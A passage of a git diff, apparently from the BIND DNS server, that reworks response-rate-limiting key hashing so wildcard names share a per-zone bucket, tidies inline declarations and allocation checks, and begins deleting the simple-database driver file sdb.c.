 		if (rrl->probes / rrl->searches > 2) {
 			expand_rrl_hash(rrl, now);
 		}
@@ -380,7 +386,7 @@ ref_entry(dns_rrl_t *rrl, dns_rrl_entry_t *e, int probes, isc_stdtime_t now) {
 	}
 }
 
-static inline bool
+static bool
 key_cmp(const dns_rrl_key_t *a, const dns_rrl_key_t *b) {
 	if (memcmp(a, b, sizeof(dns_rrl_key_t)) == 0) {
 		return (true);
@@ -388,7 +394,7 @@ key_cmp(const dns_rrl_key_t *a, const dns_rrl_key_t *b) {
 	return (false);
 }
 
-static inline uint32_t
+static uint32_t
 hash_key(const dns_rrl_key_t *key) {
 	uint32_t hval;
 	int i;
@@ -411,12 +417,10 @@ hash_key(const dns_rrl_key_t *key) {
  */
 static void
 make_key(const dns_rrl_t *rrl, dns_rrl_key_t *key,
-	 const isc_sockaddr_t *client_addr, dns_rdatatype_t qtype,
-	 const dns_name_t *qname, dns_rdataclass_t qclass,
-	 dns_rrl_rtype_t rtype) {
-	dns_name_t base;
-	dns_offsets_t base_offsets;
-	int labels, i;
+	 const isc_sockaddr_t *client_addr, dns_zone_t *zone,
+	 dns_rdatatype_t qtype, const dns_name_t *qname,
+	 dns_rdataclass_t qclass, dns_rrl_rtype_t rtype) {
+	int i;
 
 	memset(key, 0, sizeof(*key));
 
@@ -425,7 +429,8 @@ make_key(const dns_rrl_t *rrl, dns_rrl_key_t *key,
 		key->s.qtype = qtype;
 		key->s.qclass = qclass & 0xff;
 	} else if (rtype == DNS_RRL_RTYPE_REFERRAL ||
-		   rtype == DNS_RRL_RTYPE_NODATA) {
+		   rtype == DNS_RRL_RTYPE_NODATA)
+	{
 		/*
 		 * Because there is no qtype in the empty answer sections of
 		 * referral and NODATA responses, count them as the same.
@@ -434,17 +439,32 @@ make_key(const dns_rrl_t *rrl, dns_rrl_key_t *key,
 	}
 
 	if (qname != NULL && qname->labels != 0) {
-		/*
-		 * Ignore the first label of wildcards.
-		 */
-		if ((qname->attributes & DNS_NAMEATTR_WILDCARD) != 0 &&
-		    (labels = dns_name_countlabels(qname)) > 1)
+		dns_name_t *origin = NULL;
+
+		if (qname->attributes.wildcard && zone != NULL &&
+		    (origin = dns_zone_getorigin(zone)) != NULL)
 		{
-			dns_name_init(&base, base_offsets);
-			dns_name_getlabelsequence(qname, 1, labels - 1, &base);
-			key->s.qname_hash = dns_name_fullhash(&base, false);
+			dns_fixedname_t fixed;
+			dns_name_t *wild;
+			isc_result_t result;
+
+			/*
+			 * Put all wildcard names in one bucket using the zone's
+			 * origin name concatenated to the "*" name.
+			 */
+			wild = dns_fixedname_initname(&fixed);
+			result = dns_name_concatenate(dns_wildcardname, origin,
+						      wild, NULL);
+			if (result != ISC_R_SUCCESS) {
+				/*
+				 * Fallback to use the zone's origin name
+				 * instead of the concatenated name.
+				 */
+				wild = origin;
+			}
+			key->s.qname_hash = dns_name_hash(wild);
 		} else {
-			key->s.qname_hash = dns_name_fullhash(qname, false);
+			key->s.qname_hash = dns_name_hash(qname);
 		}
 	}
 
@@ -464,7 +484,7 @@ make_key(const dns_rrl_t *rrl, dns_rrl_key_t *key,
 	}
 }
 
-static inline dns_rrl_rate_t *
+static dns_rrl_rate_t *
 get_rate(dns_rrl_t *rrl, dns_rrl_rtype_t rtype) {
 	switch (rtype) {
 	case DNS_RRL_RTYPE_QUERY:
@@ -480,8 +500,7 @@ get_rate(dns_rrl_t *rrl, dns_rrl_rtype_t rtype) {
 	case DNS_RRL_RTYPE_ALL:
 		return (&rrl->all_per_second);
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
@@ -508,7 +527,7 @@ response_balance(dns_rrl_t *rrl, const dns_rrl_entry_t *e, int age) {
  * Search for an entry for a response and optionally create it.
  */
 static dns_rrl_entry_t *
-get_entry(dns_rrl_t *rrl, const isc_sockaddr_t *client_addr,
+get_entry(dns_rrl_t *rrl, const isc_sockaddr_t *client_addr, dns_zone_t *zone,
 	  dns_rdataclass_t qclass, dns_rdatatype_t qtype,
 	  const dns_name_t *qname, dns_rrl_rtype_t rtype, isc_stdtime_t now,
 	  bool create, char *log_buf, unsigned int log_buf_len) {
@@ -519,7 +538,7 @@ get_entry(dns_rrl_t *rrl, const isc_sockaddr_t *client_addr,
 	dns_rrl_bin_t *new_bin, *old_bin;
 	int probes, age;
 
-	make_key(rrl, &key, client_addr, qtype, qname, qclass, rtype);
+	make_key(rrl, &key, client_addr, zone, qtype, qname, qclass, rtype);
 	hval = hash_key(&key);
 
 	/*
@@ -627,7 +646,7 @@ debit_log(const dns_rrl_entry_t *e, int age, const char *action) {
 		      hash_key(&e->key), age_str, e->responses, action);
 }
 
-static inline dns_rrl_result_t
+static dns_rrl_result_t
 debit_rrl_entry(dns_rrl_t *rrl, dns_rrl_entry_t *e, double qps, double scale,
 		const isc_sockaddr_t *client_addr, isc_stdtime_t now,
 		char *log_buf, unsigned int log_buf_len) {
@@ -649,9 +668,9 @@ debit_rrl_entry(dns_rrl_t *rrl, dns_rrl_entry_t *e, double qps, double scale,
 		/*
 		 * The limit for clients that have used TCP is not scaled.
 		 */
-		credit_e = get_entry(rrl, client_addr, 0, dns_rdatatype_none,
-				     NULL, DNS_RRL_RTYPE_TCP, now, false,
-				     log_buf, log_buf_len);
+		credit_e = get_entry(
+			rrl, client_addr, NULL, 0, dns_rdatatype_none, NULL,
+			DNS_RRL_RTYPE_TCP, now, false, log_buf, log_buf_len);
 		if (credit_e != NULL) {
 			age = get_age(rrl, e, now);
 			if (age < rrl->window) {
@@ -770,7 +789,7 @@ debit_rrl_entry(dns_rrl_t *rrl, dns_rrl_entry_t *e, double qps, double scale,
 	return (DNS_RRL_RESULT_DROP);
 }
 
-static inline dns_rrl_qname_buf_t *
+static dns_rrl_qname_buf_t *
 get_qname(dns_rrl_t *rrl, const dns_rrl_entry_t *e) {
 	dns_rrl_qname_buf_t *qbuf;
 
@@ -781,7 +800,7 @@ get_qname(dns_rrl_t *rrl, const dns_rrl_entry_t *e) {
 	return (qbuf);
 }
 
-static inline void
+static void
 free_qname(dns_rrl_t *rrl, dns_rrl_entry_t *e) {
 	dns_rrl_qname_buf_t *qbuf;
 
@@ -850,8 +869,7 @@ make_log_buf(dns_rrl_t *rrl, dns_rrl_entry_t *e, const char *str1,
 		ADD_LOG_CSTR(&lb, "slip ");
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	switch (e->key.s.rtype) {
@@ -879,8 +897,7 @@ make_log_buf(dns_rrl_t *rrl, dns_rrl_entry_t *e, const char *str1,
 		ADD_LOG_CSTR(&lb, "all ");
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	if (plural) {
@@ -913,7 +930,8 @@ make_log_buf(dns_rrl_t *rrl, dns_rrl_entry_t *e, const char *str1,
 	{
 		qbuf = get_qname(rrl, e);
 		if (save_qname && qbuf == NULL && qname != NULL &&
-		    dns_name_isabsolute(qname)) {
+		    dns_name_isabsolute(qname))
+		{
 			/*
 			 * Capture the qname for the "stop limiting" message.
 			 */
@@ -922,12 +940,11 @@ make_log_buf(dns_rrl_t *rrl, dns_rrl_entry_t *e, const char *str1,
 				ISC_LIST_UNLINK(rrl->qname_free, qbuf, link);
 			} else if (rrl->num_qnames < DNS_RRL_QNAMES) {
 				qbuf = isc_mem_get(rrl->mctx, sizeof(*qbuf));
-				{
-					memset(qbuf, 0, sizeof(*qbuf));
-					ISC_LINK_INIT(qbuf, link);
-					qbuf->index = rrl->num_qnames;
-					rrl->qnames[rrl->num_qnames++] = qbuf;
-				}
+				*qbuf = (dns_rrl_qname_buf_t){
+					.index = rrl->num_qnames,
+				};
+				ISC_LINK_INIT(qbuf, link);
+				rrl->qnames[rrl->num_qnames++] = qbuf;
 			}
 			if (qbuf != NULL) {
 				e->log_qname = qbuf->index;
@@ -942,7 +959,8 @@ make_log_buf(dns_rrl_t *rrl, dns_rrl_entry_t *e, const char *str1,
 		}
 		if (qname != NULL) {
 			ADD_LOG_CSTR(&lb, " for ");
-			(void)dns_name_totext(qname, true, &lb);
+			(void)dns_name_totext(qname, DNS_NAME_OMITFINALDOT,
+					      &lb);
 		} else {
 			ADD_LOG_CSTR(&lb, " for (?)");
 		}
@@ -999,7 +1017,8 @@ log_stops(dns_rrl_t *rrl, isc_stdtime_t now, int limit, char *log_buf,
 		if (now != 0) {
 			age = get_age(rrl, e, now);
 			if (age < DNS_RRL_STOP_LOG_SECS ||
-			    response_balance(rrl, e, age) < 0) {
+			    response_balance(rrl, e, age) < 0)
+			{
 				break;
 			}
 		}
@@ -1028,10 +1047,10 @@ log_stops(dns_rrl_t *rrl, isc_stdtime_t now, int limit, char *log_buf,
  * Main rate limit interface.
  */
 dns_rrl_result_t
-dns_rrl(dns_view_t *view, const isc_sockaddr_t *client_addr, bool is_tcp,
-	dns_rdataclass_t qclass, dns_rdatatype_t qtype, const dns_name_t *qname,
-	isc_result_t resp_result, isc_stdtime_t now, bool wouldlog,
-	char *log_buf, unsigned int log_buf_len) {
+dns_rrl(dns_view_t *view, dns_zone_t *zone, const isc_sockaddr_t *client_addr,
+	bool is_tcp, dns_rdataclass_t qclass, dns_rdatatype_t qtype,
+	const dns_name_t *qname, isc_result_t resp_result, isc_stdtime_t now,
+	bool wouldlog, char *log_buf, unsigned int log_buf_len) {
 	dns_rrl_t *rrl;
 	dns_rrl_rtype_t rtype;
 	dns_rrl_entry_t *e;
@@ -1071,7 +1090,8 @@ dns_rrl(dns_view_t *view, const isc_sockaddr_t *client_addr, bool is_tcp,
 			qps = (1.0 * rrl->qps_responses) / secs;
 			if (secs >= rrl->window) {
 				if (isc_log_wouldlog(dns_lctx,
-						     DNS_RRL_LOG_DEBUG3)) {
+						     DNS_RRL_LOG_DEBUG3))
+				{
 					isc_log_write(dns_lctx,
 						      DNS_LOGCATEGORY_RRL,
 						      DNS_LOGMODULE_REQUEST,
@@ -1104,16 +1124,17 @@ dns_rrl(dns_view_t *view, const isc_sockaddr_t *client_addr, bool is_tcp,
 	 */
 	if (is_tcp) {
 		if (scale < 1.0) {
-			e = get_entry(rrl, client_addr, 0, dns_rdatatype_none,
-				      NULL, DNS_RRL_RTYPE_TCP, now, true,
-				      log_buf, log_buf_len);
+			e = get_entry(rrl, client_addr, NULL, 0,
+				      dns_rdatatype_none, NULL,
+				      DNS_RRL_RTYPE_TCP, now, true, log_buf,
+				      log_buf_len);
 			if (e != NULL) {
 				e->responses = -(rrl->window + 1);
 				set_age(rrl, e, now);
 			}
 		}
 		UNLOCK(&rrl->lock);
-		return (ISC_R_SUCCESS);
+		return (DNS_RRL_RESULT_OK);
 	}
 
 	/*
@@ -1137,8 +1158,8 @@ dns_rrl(dns_view_t *view, const isc_sockaddr_t *client_addr, bool is_tcp,
 		rtype = DNS_RRL_RTYPE_ERROR;
 		break;
 	}
-	e = get_entry(rrl, client_addr, qclass, qtype, qname, rtype, now, true,
-		      log_buf, log_buf_len);
+	e = get_entry(rrl, client_addr, zone, qclass, qtype, qname, rtype, now,
+		      true, log_buf, log_buf_len);
 	if (e == NULL) {
 		UNLOCK(&rrl->lock);
 		return (DNS_RRL_RESULT_OK);
@@ -1172,8 +1193,8 @@ dns_rrl(dns_view_t *view, const isc_sockaddr_t *client_addr, bool is_tcp,
 		dns_rrl_entry_t *e_all;
 		dns_rrl_result_t rrl_all_result;
 
-		e_all = get_entry(rrl, client_addr, 0, dns_rdatatype_none, NULL,
-				  DNS_RRL_RTYPE_ALL, now, true, log_buf,
+		e_all = get_entry(rrl, client_addr, zone, 0, dns_rdatatype_none,
+				  NULL, DNS_RRL_RTYPE_ALL, now, true, log_buf,
 				  log_buf_len);
 		if (e_all == NULL) {
 			UNLOCK(&rrl->lock);
@@ -1303,13 +1324,15 @@ dns_rrl_view_destroy(dns_view_t *view) {
 	h = rrl->hash;
 	if (h != NULL) {
 		isc_mem_put(rrl->mctx, h,
-			    sizeof(*h) + (h->length - 1) * sizeof(h->bins[0]));
+			    sizeof(*h) + ISC_CHECKED_MUL((h->length - 1),
+							 sizeof(h->bins[0])));
 	}
 
 	h = rrl->old_hash;
 	if (h != NULL) {
 		isc_mem_put(rrl->mctx, h,
-			    sizeof(*h) + (h->length - 1) * sizeof(h->bins[0]));
+			    sizeof(*h) + ISC_CHECKED_MUL((h->length - 1),
+							 sizeof(h->bins[0])));
 	}
 
 	isc_mem_putanddetach(&rrl->mctx, rrl, sizeof(*rrl));
@@ -1323,10 +1346,11 @@ dns_rrl_init(dns_rrl_t **rrlp, dns_view_t *view, int min_entries) {
 	*rrlp = NULL;
 
 	rrl = isc_mem_get(view->mctx, sizeof(*rrl));
-	memset(rrl, 0, sizeof(*rrl));
+	*rrl = (dns_rrl_t){
+		.ts_bases[0] = isc_stdtime_now(),
+	};
 	isc_mem_attach(view->mctx, &rrl->mctx);
 	isc_mutex_init(&rrl->lock);
-	isc_stdtime_get(&rrl->ts_bases[0]);
 
 	view->rrl = rrl;
 
diff --git a/lib/dns/sdb.c b/lib/dns/sdb.c
deleted file mode 100644
index b22a8779ff..0000000000
--- a/lib/dns/sdb.c
+++ /dev/null
@@ -1,1607 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <inttypes.h>
-#include <stdbool.h>
-#include <string.h>
-
-#include <isc/buffer.h>
-#include <isc/lex.h>
-#include <isc/log.h>
-#include <isc/magic.h>
-#include <isc/mem.h>
-#include <isc/once.h>
-#include <isc/print.h>
-#include <isc/refcount.h>
-#include <isc/region.h>
-#include <isc/util.h>
-
-#include <dns/callbacks.h>
-#include <dns/db.h>
-#include <dns/dbiterator.h>
-#include <dns/fixedname.h>
-#include <dns/log.h>
-#include <dns/rdata.h>
-#include <dns/rdatalist.h>
-#include <dns/rdataset.h>
-#include <dns/rdatasetiter.h>
-#include <dns/rdatatype.h>
-#include <dns/result.h>
-#include <dns/sdb.h>
-#include <dns/types.h>
-
-#include "rdatalist_p.h"
-
-struct dns_sdbimplementation {
-	const dns_sdbmethods_t *methods;
-	void *driverdata;
-	unsigned int flags;
-	isc_mem_t *mctx;
-	isc_mutex_t driverlock;
-	dns_dbimplementation_t *dbimp;
-};
-
-struct dns_sdb {
-	/* Unlocked */
-	dns_db_t common;
-	char *zone;
-	dns_sdbimplementation_t *implementation;
-	void *dbdata;
-
-	/* Atomic */
-	isc_refcount_t references;
-};
-
-struct dns_sdblookup {
-	/* Unlocked */
-	unsigned int magic;
-	dns_sdb_t *sdb;
-	ISC_LIST(dns_rdatalist_t) lists;
-	ISC_LIST(isc_buffer_t) buffers;
-	dns_name_t *name;
-	ISC_LINK(dns_sdblookup_t) link;
-	dns_rdatacallbacks_t callbacks;
-
-	/* Atomic */
-	isc_refcount_t references;
-};
-
-typedef struct dns_sdblookup dns_sdbnode_t;
-
-struct dns_sdballnodes {
-	dns_dbiterator_t common;
-	ISC_LIST(dns_sdbnode_t) nodelist;
-	dns_sdbnode_t *current;
-	dns_sdbnode_t *origin;
-};
-
-typedef dns_sdballnodes_t sdb_dbiterator_t;
-
-typedef struct sdb_rdatasetiter {
-	dns_rdatasetiter_t common;
-	dns_rdatalist_t *current;
-} sdb_rdatasetiter_t;
-
-#define SDB_MAGIC ISC_MAGIC('S', 'D', 'B', '-')
-
-/*%
- * Note that "impmagic" is not the first four bytes of the struct, so
- * ISC_MAGIC_VALID cannot be used.
- */
-#define VALID_SDB(sdb) ((sdb) != NULL && (sdb)->common.impmagic == SDB_MAGIC)
-
-#define SDBLOOKUP_MAGIC	      ISC_MAGIC('S', 'D', 'B', 'L')
-#define VALID_SDBLOOKUP(sdbl) ISC_MAGIC_VALID(sdbl, SDBLOOKUP_MAGIC)
-#define VALID_SDBNODE(sdbn)   VALID_SDBLOOKUP(sdbn)
-
-/* These values are taken from RFC1537 */
-#define SDB_DEFAULT_REFRESH 28800U  /* 8 hours */
-#define SDB_DEFAULT_RETRY   7200U   /* 2 hours */
-#define SDB_DEFAULT_EXPIRE  604800U /* 7 days */
-#define SDB_DEFAULT_MINIMUM 86400U  /* 1 day */
-
-/* This is a reasonable value */
-#define SDB_DEFAULT_TTL (60 * 60 * 24)
-
-#ifdef __COVERITY__
-#define MAYBE_LOCK(sdb)	  LOCK(&sdb->implementation->driverlock)
-#define MAYBE_UNLOCK(sdb) UNLOCK(&sdb->implementation->driverlock)
-#else /* ifdef __COVERITY__ */
-#define MAYBE_LOCK(sdb)                                          \
-	do {                                                     \
-		unsigned int flags = sdb->implementation->flags; \
-		if ((flags & DNS_SDBFLAG_THREADSAFE) == 0)       \
-			LOCK(&sdb->implementation->driverlock);  \
-	} while (0)
-
-#define MAYBE_UNLOCK(sdb)                                         \
-	do {                                                      \
-		unsigned int flags = sdb->implementation->flags;  \
-		if ((flags & DNS_SDBFLAG_THREADSAFE) == 0)        \
-			UNLOCK(&sdb->implementation->driverlock); \
-	} while (0)
-#endif /* ifdef __COVERITY__ */
-
-static int dummy;
-
-static isc_result_t
-dns_sdb_create(isc_mem_t *mctx, const dns_name_t *origin, dns_dbtype_t type,
-	       dns_rdataclass_t rdclass, unsigned int argc, char *argv[],
-	       void *driverarg, dns_db_t **dbp);
-
-static isc_result_t
-findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-	     dns_rdatatype_t type, dns_rdatatype_t covers, isc_stdtime_t now,
-	     dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset);
-
-static isc_result_t
-createnode(dns_sdb_t *sdb, dns_sdbnode_t **nodep);
-
-static void
-destroynode(dns_sdbnode_t *node);
-
-static void
-detachnode(dns_db_t *db, dns_dbnode_t **targetp);
-
-static void
-list_tordataset(dns_rdatalist_t *rdatalist, dns_db_t *db, dns_dbnode_t *node,
-		dns_rdataset_t *rdataset);
-
-static void
-dbiterator_destroy(dns_dbiterator_t **iteratorp);
-static isc_result_t
-dbiterator_first(dns_dbiterator_t *iterator);
-static isc_result_t
-dbiterator_last(dns_dbiterator_t *iterator);
-static isc_result_t
-dbiterator_seek(dns_dbiterator_t *iterator, const dns_name_t *name);
-static isc_result_t
-dbiterator_prev(dns_dbiterator_t *iterator);
-static isc_result_t
-dbiterator_next(dns_dbiterator_t *iterator);
-static isc_result_t
-dbiterator_current(dns_dbiterator_t *iterator, dns_dbnode_t **nodep,
-		   dns_name_t *name);
-static isc_result_t
-dbiterator_pause(dns_dbiterator_t *iterator);
-static isc_result_t
-dbiterator_origin(dns_dbiterator_t *iterator, dns_name_t *name);
-
-static dns_dbiteratormethods_t dbiterator_methods = {
-	dbiterator_destroy, dbiterator_first, dbiterator_last,
-	dbiterator_seek,    dbiterator_prev,  dbiterator_next,
-	dbiterator_current, dbiterator_pause, dbiterator_origin
-};
-
-static void
-rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp);
-static isc_result_t
-rdatasetiter_first(dns_rdatasetiter_t *iterator);
-static isc_result_t
-rdatasetiter_next(dns_rdatasetiter_t *iterator);
-static void
-rdatasetiter_current(dns_rdatasetiter_t *iterator, dns_rdataset_t *rdataset);
-
-static dns_rdatasetitermethods_t rdatasetiter_methods = {
-	rdatasetiter_destroy, rdatasetiter_first, rdatasetiter_next,
-	rdatasetiter_current
-};
-
-/*
- * Functions used by implementors of simple databases
- */
-isc_result_t
-dns_sdb_register(const char *drivername, const dns_sdbmethods_t *methods,
-		 void *driverdata, unsigned int flags, isc_mem_t *mctx,
-		 dns_sdbimplementation_t **sdbimp) {
-	dns_sdbimplementation_t *imp;
-	isc_result_t result;
-
-	REQUIRE(drivername != NULL);
-	REQUIRE(methods != NULL);
-	REQUIRE(methods->lookup != NULL || methods->lookup2 != NULL);
-	REQUIRE(mctx != NULL);
-	REQUIRE(sdbimp != NULL && *sdbimp == NULL);
-	REQUIRE((flags &
-		 ~(DNS_SDBFLAG_RELATIVEOWNER | DNS_SDBFLAG_RELATIVERDATA |
-		   DNS_SDBFLAG_THREADSAFE | DNS_SDBFLAG_DNS64)) == 0);
-
-	imp = isc_mem_get(mctx, sizeof(dns_sdbimplementation_t));
-	imp->methods = methods;
-	imp->driverdata = driverdata;
-	imp->flags = flags;
-	imp->mctx = NULL;
-	isc_mem_attach(mctx, &imp->mctx);
-	isc_mutex_init(&imp->driverlock);
-
-	imp->dbimp = NULL;
-	result = dns_db_register(drivername, dns_sdb_create, imp, mctx,
-				 &imp->dbimp);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_mutex;
-	}
-	*sdbimp = imp;
-
-	return (ISC_R_SUCCESS);
-
-cleanup_mutex:
-	isc_mutex_destroy(&imp->driverlock);
-	isc_mem_put(mctx, imp, sizeof(dns_sdbimplementation_t));
-	return (result);
-}
-
-void
-dns_sdb_unregister(dns_sdbimplementation_t **sdbimp) {
-	dns_sdbimplementation_t *imp;
-
-	REQUIRE(sdbimp != NULL && *sdbimp != NULL);
-
-	imp = *sdbimp;
-	*sdbimp = NULL;
-	dns_db_unregister(&imp->dbimp);
-	isc_mutex_destroy(&imp->driverlock);
-
-	isc_mem_putanddetach(&imp->mctx, imp, sizeof(dns_sdbimplementation_t));
-}
-
-static inline unsigned int
-initial_size(unsigned int len) {
-	unsigned int size;
-
-	for (size = 1024; size < (64 * 1024); size *= 2) {
-		if (len < size) {
-			return (size);
-		}
-	}
-	return (65535);
-}
-
-isc_result_t
-dns_sdb_putrdata(dns_sdblookup_t *lookup, dns_rdatatype_t typeval,
-		 dns_ttl_t ttl, const unsigned char *rdatap,
-		 unsigned int rdlen) {
-	dns_rdatalist_t *rdatalist;
-	dns_rdata_t *rdata;
-	isc_buffer_t *rdatabuf = NULL;
-	isc_mem_t *mctx;
-	isc_region_t region;
-
-	mctx = lookup->sdb->common.mctx;
-
-	rdatalist = ISC_LIST_HEAD(lookup->lists);
-	while (rdatalist != NULL) {
-		if (rdatalist->type == typeval) {
-			break;
-		}
-		rdatalist = ISC_LIST_NEXT(rdatalist, link);
-	}
-
-	if (rdatalist == NULL) {
-		rdatalist = isc_mem_get(mctx, sizeof(dns_rdatalist_t));
-		dns_rdatalist_init(rdatalist);
-		rdatalist->rdclass = lookup->sdb->common.rdclass;
-		rdatalist->type = typeval;
-		rdatalist->ttl = ttl;
-		ISC_LIST_APPEND(lookup->lists, rdatalist, link);
-	} else if (rdatalist->ttl != ttl) {
-		return (DNS_R_BADTTL);
-	}
-
-	rdata = isc_mem_get(mctx, sizeof(dns_rdata_t));
-
-	isc_buffer_allocate(mctx, &rdatabuf, rdlen);
-	DE_CONST(rdatap, region.base);
-	region.length = rdlen;
-	isc_buffer_copyregion(rdatabuf, &region);
-	isc_buffer_usedregion(rdatabuf, &region);
-	dns_rdata_init(rdata);
-	dns_rdata_fromregion(rdata, rdatalist->rdclass, rdatalist->type,
-			     &region);
-	ISC_LIST_APPEND(rdatalist->rdata, rdata, link);
-	ISC_LIST_APPEND(lookup->buffers, rdatabuf, link);
-
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_sdb_putrr(dns_sdblookup_t *lookup, const char *type, dns_ttl_t ttl,
-	      const char *data) {
-	unsigned int datalen;
-	dns_rdatatype_t typeval;
-	isc_textregion_t r;
-	isc_lex_t *lex = NULL;
-	isc_result_t result;
-	unsigned char *p = NULL;
-	unsigned int size = 0; /* Init to suppress compiler warning */
-	isc_mem_t *mctx;
-	dns_sdbimplementation_t *imp;
-	const dns_name_t *origin;
-	isc_buffer_t b;
-	isc_buffer_t rb;
-
-	REQUIRE(VALID_SDBLOOKUP(lookup));
-	REQUIRE(type != NULL);
-	REQUIRE(data != NULL);
-
-	mctx = lookup->sdb->common.mctx;
-
-	DE_CONST(type, r.base);
-	r.length = strlen(type);
-	result = dns_rdatatype_fromtext(&typeval, &r);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	imp = lookup->sdb->implementation;
-	if ((imp->flags & DNS_SDBFLAG_RELATIVERDATA) != 0) {
-		origin = &lookup->sdb->common.origin;
-	} else {
-		origin = dns_rootname;
-	}
-
-	result = isc_lex_create(mctx, 64, &lex);
-	if (result != ISC_R_SUCCESS) {
-		goto failure;
-	}
-
-	datalen = strlen(data);
-	size = initial_size(datalen);
-	do {
-		isc_buffer_constinit(&b, data, datalen);
-		isc_buffer_add(&b, datalen);
-		result = isc_lex_openbuffer(lex, &b);
-		if (result != ISC_R_SUCCESS) {
-			goto failure;
-		}
-
-		if (size >= 65535) {
-			size = 65535;
-		}
-		p = isc_mem_get(mctx, size);
-		isc_buffer_init(&rb, p, size);
-		result = dns_rdata_fromtext(NULL, lookup->sdb->common.rdclass,
-					    typeval, lex, origin, 0, mctx, &rb,
-					    &lookup->callbacks);
-		if (result != ISC_R_NOSPACE) {
-			break;
-		}
-
-		/*
-		 * Is the RR too big?
-		 */
-		if (size >= 65535) {
-			break;
-		}
-		isc_mem_put(mctx, p, size);
-		p = NULL;
-		size *= 2;
-	} while (result == ISC_R_NOSPACE);
-
-	if (result != ISC_R_SUCCESS) {
-		goto failure;
-	}
-
-	result = dns_sdb_putrdata(lookup, typeval, ttl, isc_buffer_base(&rb),
-				  isc_buffer_usedlength(&rb));
-failure:
-	if (p != NULL) {
-		isc_mem_put(mctx, p, size);
-	}
-	if (lex != NULL) {
-		isc_lex_destroy(&lex);
-	}
-
-	return (result);
-}
-
-static isc_result_t
-getnode(dns_sdballnodes_t *allnodes, const char *name, dns_sdbnode_t **nodep) {
-	dns_name_t *newname;
-	const dns_name_t *origin;
-	dns_fixedname_t fnewname;
-	dns_sdb_t *sdb = (dns_sdb_t *)allnodes->common.db;
-	dns_sdbimplementation_t *imp = sdb->implementation;
-	dns_sdbnode_t *sdbnode;
-	isc_mem_t *mctx = sdb->common.mctx;
-	isc_buffer_t b;
-	isc_result_t result;
-
-	newname = dns_fixedname_initname(&fnewname);
-
-	if ((imp->flags & DNS_SDBFLAG_RELATIVERDATA) != 0) {
-		origin = &sdb->common.origin;
-	} else {
-		origin = dns_rootname;
-	}
-	isc_buffer_constinit(&b, name, strlen(name));
-	isc_buffer_add(&b, strlen(name));
-
-	result = dns_name_fromtext(newname, &b, origin, 0, NULL);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	if (allnodes->common.relative_names) {
-		/* All names are relative to the root */
-		unsigned int nlabels = dns_name_countlabels(newname);
-		dns_name_getlabelsequence(newname, 0, nlabels - 1, newname);
-	}
-
-	sdbnode = ISC_LIST_HEAD(allnodes->nodelist);
-	if (sdbnode == NULL || !dns_name_equal(sdbnode->name, newname)) {
-		sdbnode = NULL;
-		result = createnode(sdb, &sdbnode);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-		sdbnode->name = isc_mem_get(mctx, sizeof(dns_name_t));
-		dns_name_init(sdbnode->name, NULL);
-		dns_name_dup(newname, mctx, sdbnode->name);
-		ISC_LIST_PREPEND(allnodes->nodelist, sdbnode, link);
-		if (allnodes->origin == NULL &&
-		    dns_name_equal(newname, &sdb->common.origin)) {
-			allnodes->origin = sdbnode;
-		}
-	}
-	*nodep = sdbnode;
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_sdb_putnamedrr(dns_sdballnodes_t *allnodes, const char *name,
-		   const char *type, dns_ttl_t ttl, const char *data) {
-	isc_result_t result;
-	dns_sdbnode_t *sdbnode = NULL;
-	result = getnode(allnodes, name, &sdbnode);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-	return (dns_sdb_putrr(sdbnode, type, ttl, data));
-}
-
-isc_result_t
-dns_sdb_putnamedrdata(dns_sdballnodes_t *allnodes, const char *name,
-		      dns_rdatatype_t type, dns_ttl_t ttl, const void *rdata,
-		      unsigned int rdlen) {
-	isc_result_t result;
-	dns_sdbnode_t *sdbnode = NULL;
-	result = getnode(allnodes, name, &sdbnode);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-	return (dns_sdb_putrdata(sdbnode, type, ttl, rdata, rdlen));
-}
-
-isc_result_t
-dns_sdb_putsoa(dns_sdblookup_t *lookup, const char *mname, const char *rname,
-	       uint32_t serial) {
-	char str[2 * DNS_NAME_MAXTEXT + 5 * (sizeof("2147483647")) + 7];
-	int n;
-
-	REQUIRE(mname != NULL);
-	REQUIRE(rname != NULL);
-
-	n = snprintf(str, sizeof(str), "%s %s %u %u %u %u %u", mname, rname,
-		     serial, SDB_DEFAULT_REFRESH, SDB_DEFAULT_RETRY,
-		     SDB_DEFAULT_EXPIRE, SDB_DEFAULT_MINIMUM);
-	if (n >= (int)sizeof(str) || n < 0) {
-		return (ISC_R_NOSPACE);
-	}
-	return (dns_sdb_putrr(lookup, "SOA", SDB_DEFAULT_TTL, str));
-}
-
-/*
- * DB routines
- */
-
-static void
-attach(dns_db_t *source, dns_db_t **targetp) {
-	dns_sdb_t *sdb = (dns_sdb_t *)source;
-
-	REQUIRE(VALID_SDB(sdb));
-
-	isc_refcount_increment(&sdb->references);
-
-	*targetp = source;
-}
-
-static void
-destroy(dns_sdb_t *sdb) {
-	dns_sdbimplementation_t *imp = sdb->implementation;
-
-	isc_refcount_destroy(&sdb->references);
-
-	if (imp->methods->destroy != NULL) {
-		MAYBE_LOCK(sdb);
-		imp->methods->destroy(sdb->zone, imp->driverdata, &sdb->dbdata);
-		MAYBE_UNLOCK(sdb);
-	}
-
-	isc_mem_free(sdb->common.mctx, sdb->zone);
-
-	sdb->common.magic = 0;
-	sdb->common.impmagic = 0;
-
